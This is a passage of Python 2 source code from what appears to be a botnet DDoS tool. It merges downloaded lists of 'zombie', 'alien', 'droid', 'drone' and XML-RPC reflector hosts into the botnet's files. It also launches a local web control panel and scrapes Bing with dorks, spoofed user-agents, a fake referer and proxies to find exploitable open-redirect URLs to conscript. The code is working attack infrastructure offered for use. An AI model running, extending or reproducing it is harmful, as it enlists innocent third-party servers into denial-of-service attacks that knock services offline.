num_reflectors = num_reflectors + 1 print("[Info] X-RPCs : " + str(num_reflectors)) total_zombies = num_abductions + num_troops + num_robots + num_drones + num_reflectors print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies)) print '-'*12 if not self.options.forceyes: update_reply = raw_input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)") print '-'*25 else: update_reply = "Y" if update_reply == "n" or update_reply == "N": os.remove('abductions.txt') # remove abductions file os.remove('troops.txt') # remove troops file os.remove('robots.txt') # remove robots file os.remove('drones.txt') # remove drones file os.remove('reflectors.txt') # remove reflectors file print "\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]" print '-'*25 print "\n[AI] "+self.exit_msg+"\n" else: zombies_ready = [] f = open('abductions.txt') abductions = f.readlines() f.close() fz = open(self.zombies_file) zombies = fz.readlines() fz.close() for abduction in abductions: abduction = abduction.replace('\n','') if abduction not in zombies: zombies_ready.append(abduction) else: pass self.update_zombies(zombies_ready) os.remove('abductions.txt') # remove abductions .txt file aliens_ready = [] f = open('troops.txt') troops = f.readlines() f.close() fz = open(self.aliens_file) aliens = fz.readlines() fz.close() for alien in troops: alien = alien.replace('\n','') if alien not in aliens: aliens_ready.append(alien) else: pass self.update_aliens(aliens_ready) os.remove('troops.txt') # remove troops .txt file droids_ready = [] f = open('robots.txt') robots = f.readlines() f.close() fz = open(self.droids_file) droids = fz.readlines() fz.close() for droid in robots: droid = droid.replace('\n','') if droid not in droids: droids_ready.append(droid) else: pass self.update_droids(droids_ready) os.remove('robots.txt') # remove robots .txt file ucavs_ready = [] f = open('drones.txt') drones = f.readlines() f.close() fz = open(self.ucavs_file) ucavs = fz.readlines() fz.close() for drone in drones: drone = drone.replace('\n','') if drone not in ucavs: ucavs_ready.append(drone) else: pass self.update_ucavs(ucavs_ready) os.remove('drones.txt') # remove drones .txt file rpcs_ready = [] f = open('reflectors.txt') reflectors = f.readlines() f.close() fz = open(self.rpcs_file) rpcs = fz.readlines() fz.close() for reflector in reflectors: reflector = reflector.replace('\n','') if reflector not in rpcs: rpcs_ready.append(reflector) else: pass self.update_rpcs(rpcs_ready) os.remove('reflectors.txt') # remove reflectors .txt file print "\n[Info] [AI] Botnet updated! -> ;-)" self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole) if not self.options.forceyes: # ask for update everything print '-'*25 + "\n" update_reply = raw_input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)") else: update_reply = "Y" if update_reply == "n" or update_reply == "N": print "\n[AI] "+self.exit_msg+"\n" return else: try: update_gui = self.update_gui_data() # update GUI data except: print '-'*25 +"\n" print "[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]" print '-'*25 print "\n[AI] "+self.exit_msg+"\n" return def create_web_interface(self): # launch webserver+gui from webgui import ClientThread import webbrowser host = '0.0.0.0' port = 9999 try: webbrowser.open('http://127.0.0.1:9999', new=1) tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) tcpsock.bind((host,port)) while True: tcpsock.listen(4) #print "Listening for incoming connections on http://%s:%d" % (host,port) (clientsock, (ip, port)) = tcpsock.accept() newthread = ClientThread(ip, port, clientsock) newthread.start() except (KeyboardInterrupt, SystemExit): sys.exit() def extract_dorks(self): # extract dorks from file (ex: 'dorks.txt') try: f = open(self.dorks_file) dorks = f.readlines() dorks = [ dork.replace('\n','') for dork in dorks ] f.close() if not dorks: if not options.autosearch: print "[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n" return else: return dorks except: if not options.autosearch: if os.path.exists(self.dorks_file) == True: print "[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n" return #sys.exit(2) else: print "[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n" return #sys.exit(2) else: return def search_zombies(self, dork, zombies_found): # crawlering on search engine results to extract zombies options = self.options zombies = [] if not options.engine: # default search engine options.engine = 'startpage' if options.engine == 'bing': # using bing [28/02/2019: OK!] url = 'https://www.bing.com/search?' if options.search: # search from query q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results if options.dorks or options.autosearch: # search from a dork q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results start = 0 # set index number of first entry query_string = { 'q':q, 'first':start } data = urllib.urlencode(query_string) url = url + data self.user_agent = random.choice(self.agents).strip() # shuffle user-agent headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer if options.verbose: print("Query used: " + url + "\n") try: if options.proxy: # set proxy self.proxy_transport(options.proxy) req = urllib2.Request(url, None, headers) req_reply = urllib2.urlopen(req, context=self.ctx).read() except: print('[Error] [AI] Unable to connect to: bing\n') if options.allengines or options.autosearch: return if not options.dorks or not options.autosearch: if not self.options.forceyes: update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)") else: update_reply = "Y" if update_reply == "n" or update_reply == "N": return #sys.exit(2) print "\nSearch engines available:" print '-'*25 for e in self.search_engines: print "+ "+e print '-'*25 print "\nEx: ufonet -s 'proxy.php?url=' --se 'startpage'" return #sys.exit(2) else: req_reply = '' regex = '